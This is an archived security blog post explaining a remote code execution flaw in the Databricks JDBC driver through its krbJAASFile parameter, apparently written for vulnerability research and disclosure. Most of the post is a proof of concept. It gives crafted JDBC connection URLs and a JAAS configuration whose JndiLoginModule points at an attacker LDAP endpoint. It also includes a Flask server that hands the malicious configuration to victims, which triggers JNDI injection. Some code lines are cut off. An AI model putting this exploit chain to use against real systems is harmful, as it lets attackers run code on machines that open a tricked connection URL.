Databricks JDBC Attack via JAAS

Databricks JDBC Attack via JAAS - pyn3rd, blog.pyn3rd.com.

- Published: 2024-12-13
- Original: <https://blog.pyn3rd.com/2024/12/13/Databricks-JDBC-Attack-via-JAAS/>
- Preserved from: https://blog.pyn3rd.com/2024/12/13/Databricks-JDBC-Attack-via-JAAS/ (stored) on 2026-08-09
- Capture timestamp: 20241220083620
- Licence: unknown

Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Background Story

Yesterday, I received a threat intelligence alert regarding the Databricks JDBC driver. After a quick review, I pinpointed the root cause of the issue.

The vulnerability stems from improper handling of the krbJAASFile parameter. An attacker could potentially exploit this flaw to achieve remote code execution (RCE) within the driver's context by tricking the victim into using a specially crafted connection URL that includes the krbJAASFile property. It's important to note that the affected product versions are 2.6.38 and earlier.

Constructing a PoC

Creating a proof of concept (PoC) is crucial for reproducing vulnerabilities effectively. It can often save significant time during the testing process. Having researched JDBC assemblies for several years, I understand how vital it is to develop a clear and reliable PoC.

Here is the vulnerable connection URL:

|

```
1
```

|

```
jdbc:databricks://127.0.0.1:443;AuthMech=1;KrbAuthType=1;httpPath=/;KrbHostFQDN=test;KrbServiceName=test;krbJAASFile
```

| |

The JAAS configuration file is as follows:

|

```
1
2
3
4
5
6
7
8
```

|

```
Client {
com.sun.security.auth.module.JndiLoginModule required
   user.provider.url="ldap://127.0.0.1:1389/wr4euw"
   group.provider.url="test"
   useFirstPass=true
   serviceName="test"
   debug=true;
};
```

| |

[image: upload successful]

Clearly, this is not the desired outcome. Since we cannot compromise a server and modify its configuration or JAAS file, I've developed a web server to serve the content of the configuration file—essentially a malicious JNDI remote codebase.

I've arranged the web server code using Flask as follows:

|

```
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
```

```
from flask import Flask, request

app = Flask(__name__)

@app.route('/jaas.conf', methods=['POST','GET'])
def SSOJSON():
  if request.method == 'GET':
    # Path to your jaas.conf file
    jaas_conf_path = '/root/ssl/jaas.conf'
    try:
      # Read the contents of the jaas.conf file
      with open(jaas_conf_path, 'r') as file:
        jaas_content = file.read()

      return jaas_content
    except Exception as e:
      # Handle exceptions (file not found, etc.)
      return false;

if __name__ == '__main__':
  app.run('0.0.0.0', debug=True, port=443, ssl_context=('/root/ssl/jdbc.pyn3rd.com.pem', '/root/ssl/jdbc.pyn3rd.com.k
```

| |

My approach is sound: the remote web server receives a request, and the malicious configuration file is loaded seamlessly. The remote code execution is then triggered via JNDI injection.

Here's the crafted connection URL used to exploit the vulnerability:

[image: upload successful]

|

```
1
```

|

```
jdbc:databricks://127.0.0.1:443;AuthMech=1;principal=test;KrbAuthType=1;httpPath=/;KrbHostFQDN=test;KrbServiceName=t
```

| |

If you have any questions, leave a comment below.